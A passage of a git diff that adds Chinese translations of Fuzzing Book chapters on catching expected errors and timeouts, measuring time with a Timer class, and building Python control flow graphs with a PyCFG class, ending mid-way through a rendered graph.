+    print(i, "seconds have passed")
+  File "<ipython-input-9-a28a583f0630>", line 16, in check_time
+    raise TimeoutError
+TimeoutError (expected)
+
+```
+
+异常和相关的回溯将显示为错误消息。 如果您不想这样做，请使用以下关键字选项：
+
+*   可以将`print_traceback`（默认为True）设置为`False`，以避免打印回溯
+*   可以将`mute`（默认为False）设置为`True`，以完全避免任何输出。
+
+## 捕获错误
+
+类`ExpectError`允许表达某些代码产生异常。 典型用法如下：
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+with ExpectError():
+    function_that_is_supposed_to_fail()
+
+```
+
+如果发生异常，则以标准错误打印； 然而，执行仍在继续。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+import [traceback](https://docs.python.org/3/library/traceback.html)
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+```py
+class ExpectError(object):
+    def __init__(self, print_traceback=True, mute=False):
+        self.print_traceback = print_traceback
+        self.mute = mute
+
+    # Begin of `with` block
+    def __enter__(self):
+        return self
+
+    # End of `with` block
+    def __exit__(self, exc_type, exc_value, tb):
+        if exc_type is None:
+            # No exception
+            return
+
+        # An exception occurred
+        if self.print_traceback:
+            lines = ''.join(
+                traceback.format_exception(
+                    exc_type,
+                    exc_value,
+                    tb)).strip()
+        else:
+            lines = traceback.format_exception_only(
+                exc_type, exc_value)[-1].strip()
+
+        if not self.mute:
+            print(lines, "(expected)", file=sys.stderr)
+        return True  # Ignore it
+
+```
+
+这是一个例子：
+
+```py
+def fail_test():
+    # Trigger an exception
+    x = 1 / 0
+
+```
+
+```py
+with ExpectError():
+    fail_test()
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-5-67c629a2a842>", line 2, in <module>
+    fail_test()
+  File "<ipython-input-4-2e8a6dbc7b2c>", line 3, in fail_test
+    x = 1 / 0
+ZeroDivisionError: division by zero (expected)
+
+```
+
+```py
+with ExpectError(print_traceback=False):
+    fail_test()
+
+```
+
+```py
+ZeroDivisionError: division by zero (expected)
+
+```
+
+## 捕获超时
+
+类`ExpectTimeout(seconds)`允许表达某些代码可能运行很长时间或无限长的时间。 因此，执行将在`seconds`秒后中断。 典型用法如下：
+
+```py
+from [ExpectError](ExpectError.html) import ExpectTimeout
+
+with ExpectTimeout(2) as t:
+    function_that_is_supposed_to_hang()
+
+```
+
+如果发生异常，则以标准错误打印（如`ExpectError`一样）； 然而，执行仍在继续。
+
+如果需要取消`with`块内的超时，则`t.cancel()`可以解决问题。
+
+该实现使用`sys.settrace()`，因为这似乎是实现超时的最可移植的方法。 但是，它不是很有效。 而且，它仅适用于Python代码的单独几行，不会中断长时间运行的系统功能。
+
+```py
+import [sys](https://docs.python.org/3/library/sys.html)
+import [time](https://docs.python.org/3/library/time.html)
+
+```
+
+```py
+try:
+    # Should be defined in Python 3
+    x = TimeoutError
+except:
+    # For Python 2
+    class TimeoutError(Exception):
+        def __init__(self, value="Timeout"):
+            self.value = value
+
+        def __str__(self):
+            return repr(self.value)
+
+```
+
+```py
+class ExpectTimeout(object):
+    def __init__(self, seconds, print_traceback=True, mute=False):
+        self.seconds_before_timeout = seconds
+        self.original_trace_function = None
+        self.end_time = None
+        self.print_traceback = print_traceback
+        self.mute = mute
+
+    # Tracing function
+    def check_time(self, frame, event, arg):
+        if self.original_trace_function is not None:
+            self.original_trace_function(frame, event, arg)
+
+        current_time = time.time()
+        if current_time >= self.end_time:
+            raise TimeoutError
+
+        return self.check_time
+
+    # Begin of `with` block
+    def __enter__(self):
+        start_time = time.time()
+        self.end_time = start_time + self.seconds_before_timeout
+
+        self.original_trace_function = sys.gettrace()
+        sys.settrace(self.check_time)
+        return self
+
+    # End of `with` block
+    def __exit__(self, exc_type, exc_value, tb):
+        self.cancel()
+
+        if exc_type is None:
+            return
+
+        # An exception occurred
+        if self.print_traceback:
+            lines = ''.join(
+                traceback.format_exception(
+                    exc_type,
+                    exc_value,
+                    tb)).strip()
+        else:
+            lines = traceback.format_exception_only(
+                exc_type, exc_value)[-1].strip()
+
+        if not self.mute:
+            print(lines, "(expected)", file=sys.stderr)
+        return True  # Ignore it
+
+    def cancel(self):
+        sys.settrace(self.original_trace_function)
+
+```
+
+Here's an example:
+
+```py
+def long_running_test():
+    print("Start")
+    for i in range(10):
+        time.sleep(1)
+        print(i, "seconds have passed")
+    print("End")
+
+```
+
+```py
+with ExpectTimeout(5, print_traceback=False):
+    long_running_test()
+
+```
+
+```py
+Start
+0 seconds have passed
+1 seconds have passed
+2 seconds have passed
+3 seconds have passed
+
+```
+
+```py
+TimeoutError (expected)
+
+```
+
+请注意，可以嵌套多个超时。
+
+```py
+with ExpectTimeout(5):
+    with ExpectTimeout(3):
+        long_running_test()
+    long_running_test()
+
+```
+
+```py
+Start
+0 seconds have passed
+1 seconds have passed
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-12-d87d5d50b60e>", line 3, in <module>
+    long_running_test()
+  File "<ipython-input-10-8d0f8e53f106>", line 5, in long_running_test
+    print(i, "seconds have passed")
+  File "<ipython-input-10-8d0f8e53f106>", line 5, in long_running_test
+    print(i, "seconds have passed")
+  File "<ipython-input-9-a28a583f0630>", line 16, in check_time
+    raise TimeoutError
+TimeoutError (expected)
+
+```
+
+```py
+Start
+0 seconds have passed
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-12-d87d5d50b60e>", line 4, in <module>
+    long_running_test()
+  File "<ipython-input-10-8d0f8e53f106>", line 5, in long_running_test
+    print(i, "seconds have passed")
+  File "<ipython-input-10-8d0f8e53f106>", line 5, in long_running_test
+    print(i, "seconds have passed")
+  File "<ipython-input-9-a28a583f0630>", line 16, in check_time
+    raise TimeoutError
+TimeoutError (expected)
+
+```
+
+就是这样-伙计们-尽情享受吧！
+
+>
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/4.md b/new/fuzzing-book-zh/4.md
new file mode 100644
index 0000000000000000000000000000000000000000..25edbee7018ac4b9393c446fb30e4ba5baa67c6e
--- /dev/null
+++ b/new/fuzzing-book-zh/4.md
@@ -0,0 +1,9 @@
+# 第一部分：提高食欲
+
+> 原文： [https://www.fuzzingbook.org/html/01_Intro.html](https://www.fuzzingbook.org/html/01_Intro.html)
+
+在这一部分中，我们介绍本书的主题。
+
+*   [遍历本书](Tours.html)遍历本书，介绍了所讨论的各种技术-从最简单的随机输入形式到高端符号推理。
+
+*   [软件测试简介](Intro_Testing.html)介绍了软件测试的基础知识，并使您熟悉Python和交互式笔记本。
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/40.md b/new/fuzzing-book-zh/40.md
new file mode 100644
index 0000000000000000000000000000000000000000..34ba0706725280bd87528e05a1e50862b73f79db
--- /dev/null
+++ b/new/fuzzing-book-zh/40.md
@@ -0,0 +1,129 @@
+# Timer
+
+> 原文： [https://www.fuzzingbook.org/html/Timer.html](https://www.fuzzingbook.org/html/Timer.html)
+
+本笔记本中的代码有助于测量时间。
+
+**前提条件**
+
+*   该笔记本需要对Python的高级概念有一些了解，特别是
+    *   类
+    *   Python `with`语句
+    *   测量时间
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.Timer](Timer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+`Timer`类允许您测量经过的实时时间。 它的典型用法是与`with`子句结合使用：
+
+```py
+>>> with Timer() as t:
+>>>     some_long_running_function()
+>>> t.elapsed_time()
+0.04299802700006694
+
+```
+
+## 测量时间
+
+`Timer`类允许测量某些代码执行期间的经过时间。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+import [time](https://docs.python.org/3/library/time.html)
+
+```
+
+```py
+def clock():
+    try:
+        return time.perf_counter()  # Python 3
+    except:
+        return time.clock()         # Python 2
+
+```
+
+```py
+class Timer(object):
+    # Begin of `with` block
+    def __enter__(self):
+        self.start_time = clock()
+        self.end_time = None
+        return self
+
+    # End of `with` block
+    def __exit__(self, exc_type, exc_value, tb):
+        self.end_time = clock()
+
+    def elapsed_time(self):
+        """Return elapsed time in seconds"""
+        if self.end_time is None:
+            # still running
+            return clock() - self.start_time
+        else:
+            return self.end_time - self.start_time
+
+```
+
+这是一个例子：
+
+```py
+def some_long_running_function():
+    i = 1000000
+    while i > 0:
+        i -= 1
+
+```
+
+```py
+print("Stopping total time:")
+with Timer() as t:
+    some_long_running_function()
+print(t.elapsed_time())
+
+```
+
+```py
+Stopping total time:
+0.04350709200025449
+
+```
+
+```py
+print("Stopping time in between:")
+with Timer() as t:
+    for i in range(10):
+        print(t.elapsed_time())
+
+```
+
+```py
+Stopping time in between:
+3.072999788855668e-06
+6.375699922500644e-05
+0.00032886200006032595
+0.0003797529998337268
+0.0003976899997724104
+0.00041616799990151776
+0.0004380209993541939
+0.00045481599954655394
+0.00046889599980204366
+0.00048251899988827063
+
+```
+
+就是这样-伙计们-尽情享受吧！
+
+>
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/41.md b/new/fuzzing-book-zh/41.md
new file mode 100644
index 0000000000000000000000000000000000000000..e8053662de8be22c59220a885cc2aff265e74a4c
--- /dev/null
+++ b/new/fuzzing-book-zh/41.md
@@ -0,0 +1,1175 @@
+# 控制流程图
+
+> 原文： [https://www.fuzzingbook.org/html/ControlFlow.html](https://www.fuzzingbook.org/html/ControlFlow.html)
+
+本笔记本中的代码有助于获取python函数的控制流程图。
+
+**前提条件**
+
+*   该笔记本需要对Python的高级概念有一些了解，特别是
+    *   类
+
+## 控制流程图
+
+`PyCFG`类允许获得控制流程图。
+
+```py
+from [ControlFlow](ControlFlow.html) import gen_cfg, to_graph
+from [graphviz](https://docs.python.org/3/library/graphviz.html) import Source
+cfg = gen_cfg(inspect.getsource(my_function))
+graph = to_graph(cfg)
+Source(graph)
+
+```
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+import [ast](https://docs.python.org/3/library/ast.html)
+import [re](https://docs.python.org/3/library/re.html)
+import [astor](https://docs.python.org/3/library/astor.html)
+from [graphviz](https://docs.python.org/3/library/graphviz.html) import Source, Graph, Digraph
+
+```
+
+### 注册表
+
+```py
+REGISTRY_IDX = 0
+
+```
+
+```py
+REGISTRY = {}
+
+```
+
+```py
+def get_registry_idx():
+    global REGISTRY_IDX
+    v = REGISTRY_IDX
+    REGISTRY_IDX += 1
+    return v
+
+```
+
+```py
+def reset_registry():
+    global REGISTRY_IDX
+    global REGISTRY
+    REGISTRY_IDX = 0
+    REGISTRY = {}
+
+```
+
+```py
+def register_node(node):
+    node.rid = get_registry_idx()
+    REGISTRY[node.rid] = node
+
+```
+
+```py
+def get_registry():
+    return dict(REGISTRY)
+
+```
+
+### CFGNode
+
+我们从代表控制流程图中每个节点的`CFGNode`开始。 \ todo {扩展和注释的分配（`a += 1`），（`a:int = 1`）}。
+
+```py
+class CFGNode(dict):
+    def __init__(self, parents=[], ast=None):
+        assert type(parents) is list
+        register_node(self)
+        self.parents = parents
+        self.ast_node = ast
+        self.update_children(parents)  # requires self.rid
+        self.children = []
+        self.calls = []
+
+    def i(self):
+        return str(self.rid)
+
+    def update_children(self, parents):
+        for p in parents:
+            p.add_child(self)
+
+    def add_child(self, c):
+        if c not in self.children:
+            self.children.append(c)
+
+    def lineno(self):
+        return self.ast_node.lineno if hasattr(self.ast_node, 'lineno') else 0
+
+    def __str__(self):
+        return "id:%d line[%d] parents: %s : %s" % (
+            self.rid, self.lineno(), str([p.rid for p in self.parents]),
+            self.source())
+
+    def __repr__(self):
+        return str(self)
+
+    def __eq__(self, other):
+        return self.rid == other.rid
+
+    def __neq__(self, other):
+        return self.rid != other.rid
+
+    def set_parents(self, p):
+        self.parents = p
+
+    def add_parent(self, p):
+        if p not in self.parents:
+            self.parents.append(p)
+
+    def add_parents(self, ps):
+        for p in ps:
+            self.add_parent(p)
+
+    def add_calls(self, func):
+        self.calls.append(func)
+
+    def source(self):
+        return astor.to_source(self.ast_node).strip()
+
+    def to_json(self):
+        return {
+            'id': self.rid,
+            'parents': [p.rid for p in self.parents],
+            'children': [c.rid for c in self.children],
+            'calls': self.calls,
+            'at': self.lineno(),
+            'ast': self.source()
+        }
+
+```
+
+```py
+REGISTRY_IDX = 0
+
+```
+
+```py
+REGISTRY = {}
+
+```
+
+```py
+def get_registry_idx():
+    global REGISTRY_IDX
+    v = REGISTRY_IDX
+    REGISTRY_IDX += 1
+    return v
+
+```
+
+```py
+def reset_registry():
+    global REGISTRY_IDX
+    global REGISTRY
+    REGISTRY_IDX = 0
+    REGISTRY = {}
+
+```
+
+```py
+def register_node(node):
+    node.rid = get_registry_idx()
+    REGISTRY[node.rid] = node
+
+```
+
+### PyCFG
+
+接下来，负责分析并保存图形的`PyCFG`类。
+
+```py
+class PyCFG:
+    def __init__(self):
+        self.founder = CFGNode(
+            parents=[], ast=ast.parse('start').body[0])  # sentinel
+        self.founder.ast_node.lineno = 0
+        self.functions = {}
+        self.functions_node = {}
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def parse(self, src):
+        return ast.parse(src)
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def walk(self, node, myparents):
+        fname = "on_%s" % node.__class__.__name__.lower()
+        if hasattr(self, fname):
+            fn = getattr(self, fname)
+            v = fn(node, myparents)
+            return v
+        else:
+            return myparents
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_module(self, node, myparents):
+        """
+ Module(stmt* body)
+ """
+        # each time a statement is executed unconditionally, make a link from
+        # the result to next statement
+        p = myparents
+        for n in node.body:
+            p = self.walk(n, p)
+        return p
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_augassign(self, node, myparents):
+        """
+ AugAssign(expr target, operator op, expr value)
+ """
+        p = [CFGNode(parents=myparents, ast=node)]
+        p = self.walk(node.value, p)
+
+        return p
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_annassign(self, node, myparents):
+        """
+ AnnAssign(expr target, expr annotation, expr? value, int simple)
+ """
+        p = [CFGNode(parents=myparents, ast=node)]
+        p = self.walk(node.value, p)
+
+        return p
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_assign(self, node, myparents):
+        """
+ Assign(expr* targets, expr value)
+ """
+        if len(node.targets) > 1:
+            raise NotImplemented('Parallel assignments')
+
+        p = [CFGNode(parents=myparents, ast=node)]
+        p = self.walk(node.value, p)
+
+        return p
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_pass(self, node, myparents):
+        return [CFGNode(parents=myparents, ast=node)]
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_break(self, node, myparents):
+        parent = myparents[0]
+        while not hasattr(parent, 'exit_nodes'):
+            # we have ordered parents
+            parent = parent.parents[0]
+
+        assert hasattr(parent, 'exit_nodes')
+        p = CFGNode(parents=myparents, ast=node)
+
+        # make the break one of the parents of label node.
+        parent.exit_nodes.append(p)
+
+        # break doesn't have immediate children
+        return []
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_continue(self, node, myparents):
+        parent = myparents[0]
+        while not hasattr(parent, 'exit_nodes'):
+            # we have ordered parents
+            parent = parent.parents[0]
+        assert hasattr(parent, 'exit_nodes')
+        p = CFGNode(parents=myparents, ast=node)
+
+        # make continue one of the parents of the original test node.
+        parent.add_parent(p)
+
+        # return the parent because a continue is not the parent
+        # for the just next node
+        return []
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_for(self, node, myparents):
+        # node.target in node.iter: node.body
+        # The For loop in python (no else) can be translated
+        # as follows:
+        # 
+        # for a in iterator:
+        #      mystatements
+        #
+        # __iv = iter(iterator)
+        # while __iv.__length_hint() > 0:
+        #     a = next(__iv)
+        #     mystatements
+
+        init_node = CFGNode(parents=myparents,
+            ast=ast.parse('__iv = iter(%s)' % astor.to_source(node.iter).strip()).body[0])
+        ast.copy_location(init_node.ast_node, node.iter)
+
+        _test_node = CFGNode(
+            parents=[init_node],
+            ast=ast.parse('_for: __iv.__length__hint__() > 0').body[0])
+        ast.copy_location(_test_node.ast_node, node)
+
+        # we attach the label node here so that break can find it.
+        _test_node.exit_nodes = []
+        test_node = self.walk(node.iter, [_test_node])
+
+        extract_node = CFGNode(parents=test_node,
+            ast=ast.parse('%s = next(__iv)' % astor.to_source(node.target).strip()).body[0])
+        ast.copy_location(extract_node.ast_node, node.iter)
+
+        # now we evaluate the body, one at a time.
+        p1 = [extract_node]
+        for n in node.body:
+            p1 = self.walk(n, p1)
+
+        # the test node is looped back at the end of processing.
+        _test_node.add_parents(p1)
+
+        return _test_node.exit_nodes + test_node
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_while(self, node, myparents):
+        # For a while, the earliest parent is the node.test
+        _test_node = CFGNode(
+            parents=myparents,
+            ast=ast.parse(
+                '_while: %s' % astor.to_source(node.test).strip()).body[0])
+        ast.copy_location(_test_node.ast_node, node.test)
+        _test_node.exit_nodes = []
+        test_node = self.walk(node.test, [_test_node])
+
+        # we attach the label node here so that break can find it.
+
+        # now we evaluate the body, one at a time.
+        assert len(test_node) == 1
+        p1 = test_node
+        for n in node.body:
+            p1 = self.walk(n, p1)
+
+        # the test node is looped back at the end of processing.
+        _test_node.add_parents(p1)
+
+        # link label node back to the condition.
+        return _test_node.exit_nodes + test_node
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_if(self, node, myparents):
+        _test_node = CFGNode(
+            parents=myparents,
+            ast=ast.parse(
+                '_if: %s' % astor.to_source(node.test).strip()).body[0])
+        ast.copy_location(_test_node.ast_node, node.test)
+        test_node = self.walk(node.test, [ _test_node])
+        assert len(test_node) == 1
+        g1 = test_node
+        for n in node.body:
+            g1 = self.walk(n, g1)
+        g2 = test_node
+        for n in node.orelse:
+            g2 = self.walk(n, g2)
+        return g1 + g2
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_binop(self, node, myparents):
+        left = self.walk(node.left, myparents)
+        right = self.walk(node.right, left)
+        return right
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_compare(self, node, myparents):
+        left = self.walk(node.left, myparents)
+        right = self.walk(node.comparators[0], left)
+        return right
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_unaryop(self, node, myparents):
+        return self.walk(node.operand, myparents)
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_call(self, node, myparents):
+        def get_func(node):
+            if type(node.func) is ast.Name:
+                mid = node.func.id
+            elif type(node.func) is ast.Attribute:
+                mid = node.func.attr
+            elif type(node.func) is ast.Call:
+                mid = get_func(node.func)
+            else:
+                raise Exception(str(type(node.func)))
+            return mid
+            #mid = node.func.value.id
+
+        p = myparents
+        for a in node.args:
+            p = self.walk(a, p)
+        mid = get_func(node)
+        myparents[0].add_calls(mid)
+
+        # these need to be unlinked later if our module actually defines these
+        # functions. Otherwsise we may leave them around.
+        # during a call, the direct child is not the next
+        # statement in text.
+        for c in p:
+            c.calllink = 0
+        return p
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_expr(self, node, myparents):
+        p = [CFGNode(parents=myparents, ast=node)]
+        return self.walk(node.value, p)
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_return(self, node, myparents):
+        if type(myparents) is tuple:
+            parent = myparents[0][0]
+        else:
+            parent = myparents[0]
+
+        val_node = self.walk(node.value, myparents)
+        # on return look back to the function definition.
+        while not hasattr(parent, 'return_nodes'):
+            parent = parent.parents[0]
+        assert hasattr(parent, 'return_nodes')
+
+        p = CFGNode(parents=val_node, ast=node)
+
+        # make the break one of the parents of label node.
+        parent.return_nodes.append(p)
+
+        # return doesnt have immediate children
+        return []
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def on_functiondef(self, node, myparents):
+        # a function definition does not actually continue the thread of
+        # control flow
+        # name, args, body, decorator_list, returns
+        fname = node.name
+        args = node.args
+        returns = node.returns
+
+        enter_node = CFGNode(
+            parents=[],
+            ast=ast.parse('enter: %s(%s)' % (node.name, ', '.join(
+                [a.arg for a in node.args.args]))).body[0])  # sentinel
+        enter_node.calleelink = True
+        ast.copy_location(enter_node.ast_node, node)
+        exit_node = CFGNode(
+            parents=[],
+            ast=ast.parse('exit: %s(%s)' % (node.name, ', '.join(
+                [a.arg for a in node.args.args]))).body[0])  # sentinel
+        exit_node.fn_exit_node = True
+        ast.copy_location(exit_node.ast_node, node)
+        enter_node.return_nodes = []  # sentinel
+
+        p = [enter_node]
+        for n in node.body:
+            p = self.walk(n, p)
+
+        for n in p:
+            if n not in enter_node.return_nodes:
+                enter_node.return_nodes.append(n)
+
+        for n in enter_node.return_nodes:
+            exit_node.add_parent(n)
+
+        self.functions[fname] = [enter_node, exit_node]
+        self.functions_node[enter_node.lineno()] = fname
+
+        return myparents
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def get_defining_function(self, node):
+        if node.lineno() in self.functions_node:
+            return self.functions_node[node.lineno()]
+        if not node.parents:
+            self.functions_node[node.lineno()] = ''
+            return ''
+        val = self.get_defining_function(node.parents[0])
+        self.functions_node[node.lineno()] = val
+        return val
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def link_functions(self):
+        for nid, node in REGISTRY.items():
+            if node.calls:
+                for calls in node.calls:
+                    if calls in self.functions:
+                        enter, exit = self.functions[calls]
+                        enter.add_parent(node)
+                        if node.children:
+                            # # until we link the functions up, the node
+                            # # should only have succeeding node in text as
+                            # # children.
+                            # assert(len(node.children) == 1)
+                            # passn = node.children[0]
+                            # # We require a single pass statement after every
+                            # # call (which means no complex expressions)
+                            # assert(type(passn.ast_node) == ast.Pass)
+
+                            # # unlink the call statement
+                            assert node.calllink > -1
+                            node.calllink += 1
+                            for i in node.children:
+                                i.add_parent(exit)
+                            # passn.set_parents([exit])
+                            # ast.copy_location(exit.ast_node, passn.ast_node)
+
+                            # #for c in passn.children: c.add_parent(exit)
+                            # #passn.ast_node = exit.ast_node
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def update_functions(self):
+        for nid, node in REGISTRY.items():
+            _n = self.get_defining_function(node)
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def update_children(self):
+        for nid, node in REGISTRY.items():
+            for p in node.parents:
+                p.add_child(node)
+
+```
+
+```py
+class PyCFG(PyCFG):
+    def gen_cfg(self, src):
+        """
+ >>> i = PyCFG()
+ >>> i.walk("100")
+ 5
+ """
+        node = self.parse(src)
+        nodes = self.walk(node, [self.founder])
+        self.last_node = CFGNode(parents=nodes, ast=ast.parse('stop').body[0])
+        ast.copy_location(self.last_node.ast_node, self.founder.ast_node)
+        self.update_children()
+        self.update_functions()
+        self.link_functions()
+
+```
+
+### 支持功能
+
+```py
+def compute_dominator(cfg, start=0, key='parents'):
+    dominator = {}
+    dominator[start] = {start}
+    all_nodes = set(cfg.keys())
+    rem_nodes = all_nodes - {start}
+    for n in rem_nodes:
+        dominator[n] = all_nodes
+
+    c = True
+    while c:
+        c = False
+        for n in rem_nodes:
+            pred_n = cfg[n][key]
+            doms = [dominator[p] for p in pred_n]
+            i = set.intersection(*doms) if doms else set()
+            v = {n} | i
+            if dominator[n] != v:
+                c = True
+            dominator[n] = v
+    return dominator
+
+```
+
+```py
+def compute_flow(pythonfile):
+    cfg, first, last = get_cfg(pythonfile)
+    return cfg, compute_dominator(
+        cfg, start=first), compute_dominator(
+            cfg, start=last, key='children')
+
+```
+
+```py
+def gen_cfg(fnsrc, remove_start_stop=True):
+    reset_registry()
+    cfg = PyCFG()
+    cfg.gen_cfg(fnsrc)
+    cache = dict(REGISTRY)
+    if remove_start_stop:
+        return {
+            k: cache[k]
+            for k in cache if cache[k].source() not in {'start', 'stop'}
+        }
+    else:
+        return cache
+
+```
+
+```py
+def get_cfg(src):
+    reset_registry()
+    cfg = PyCFG()
+    cfg.gen_cfg(src)
+    cache = dict(REGISTRY)
+    g = {}
+    for k, v in cache.items():
+        j = v.to_json()
+        at = j['at']
+        parents_at = [cache[p].to_json()['at'] for p in j['parents']]
+        children_at = [cache[c].to_json()['at'] for c in j['children']]
+        if at not in g:
+            g[at] = {'parents': set(), 'children': set()}
+        # remove dummy nodes
+        ps = set([p for p in parents_at if p != at])
+        cs = set([c for c in children_at if c != at])
+        g[at]['parents'] |= ps
+        g[at]['children'] |= cs
+        if v.calls:
+            g[at]['calls'] = v.calls
+        g[at]['function'] = cfg.functions_node[v.lineno()]
+    return (g, cfg.founder.ast_node.lineno, cfg.last_node.ast_node.lineno)
+
+```
+
+```py
+def to_graph(cache, arcs=[]):
+    graph = Digraph(comment='Control Flow Graph')
+    colors = {0: 'blue', 1: 'red'}
+    kind = {0: 'T', 1: 'F'}
+    cov_lines = set(i for i, j in arcs)
+    for nid, cnode in cache.items():
+        lineno = cnode.lineno()
+        shape, peripheries = 'oval', '1'
+        if isinstance(cnode.ast_node, ast.AnnAssign):
+            if cnode.ast_node.target.id in {'_if', '_for', '_while'}:
+                shape = 'diamond'
+            elif cnode.ast_node.target.id in {'enter', 'exit'}:
+                shape, peripheries = 'oval', '2'
+        else:
+            shape = 'rectangle'
+        graph.node(cnode.i(), "%d: %s" % (lineno, unhack(cnode.source())), shape=shape, peripheries=peripheries)
+        for pn in cnode.parents:
+            plineno = pn.lineno()
+            if hasattr(pn, 'calllink') and pn.calllink > 0 and not hasattr(
+                    cnode, 'calleelink'):
+                graph.edge(pn.i(), cnode.i(), style='dotted', weight=100)
+                continue
+
+            if arcs:
+                if (plineno, lineno) in arcs:
+                    graph.edge(pn.i(), cnode.i(), color='green')
+                elif plineno == lineno and lineno in cov_lines:
+                    graph.edge(pn.i(), cnode.i(), color='green')
+                # child is exit and parent is covered
+                elif hasattr(cnode, 'fn_exit_node') and plineno in cov_lines:
+                    graph.edge(pn.i(), cnode.i(), color='green')
+                # parent is exit and one of its parents is covered.
+                elif hasattr(pn, 'fn_exit_node') and len(
+                        set(n.lineno() for n in pn.parents) | cov_lines) > 0:
+                    graph.edge(pn.i(), cnode.i(), color='green')
+                # child is a callee (has calleelink) and one of the parents is covered.
+                elif plineno in cov_lines and hasattr(cnode, 'calleelink'):
+                    graph.edge(pn.i(), cnode.i(), color='green')
+                else:
+                    graph.edge(pn.i(), cnode.i(), color='red')
+            else:
+                order = {c.i():i for i,c in enumerate(pn.children)}
+                if len(order) < 2:
+                    graph.edge(pn.i(), cnode.i())
+                else:
+                    o = order[cnode.i()]
+                    graph.edge(pn.i(), cnode.i(), color=colors[o], label=kind[o])
+    return graph
+
+```
+
+```py
+def unhack(v):
+    for i in ['if', 'while', 'for', 'elif']:
+        v = re.sub(r'^_%s:' % i, '%s:' % i, v)
+    return v
+
+```
+
+### 示例
+
+#### check_triangle
+
+```py
+def check_triangle(a,b,c):
+    if a == b:
+        if a == c:
+            if b == c:
+                return "Equilateral"
+            else:
+                return "Isosceles"
+        else:
+            return "Isosceles"
+    else:
+        if b != c:
+            if a == c:
+                return "Isosceles"
+            else:
+                return "Scalene"
+        else:
+              return "Isosceles"
+
+```
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+```py
+graph = to_graph(gen_cfg(inspect.getsource(check_triangle)))
+
+```
+
+```py
+Source(graph)
+
+```
+
+<svg height="488pt" viewBox="0.00 0.00 693.00 488.00" width="693pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 484)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="265.5" y="-454.3">1: enter: check_triangle(a, b, c)</text></g> <g class="node" id="node9"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="265.5" y="-377.3">2: if: a == b</text></g> <g class="edge" id="edge7"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="362.5" y="-18.3">1: exit: check_triangle(a, b, c)</text></g> <g class="node" id="node3"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="148.5" y="-95.3">5: return 'Equilateral'</text></g> <g class="edge" id="edge1"><title>6->2</title></g> <g class="node" id="node4"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="295.5" y="-95.3">7: return 'Isosceles'</text></g> <g class="edge" id="edge2"><title>7->2</title></g> <g class="node" id="node5"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="61.5" y="-149.3">9: return 'Isosceles'</text></g> <g class="edge" id="edge3"><title>8->2</title></g> <g class="node" id="node6"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="478.5" y="-95.3">13: return 'Isosceles'</text></g> <g class="edge" id="edge4"><title>11->2</title></g> <g class="node" id="node7"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="623.5" y="-95.3">15: return 'Scalene'</text></g> <g class="edge" id="edge5"><title>12->2</title></g> <g class="node" id="node8"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="379.5" y="-149.3">17: return 'Isosceles'</text></g> <g class="edge" id="edge6"><title>13->2</title></g> <g class="node" id="node10"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-290.3">3: if: a == c</text></g> <g class="edge" id="edge8"><title>3->4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="233" y="-333.8">T</text></g> <g class="node" id="node12"><title>9</title> <text fill="#000000" font-family="Times,serif" 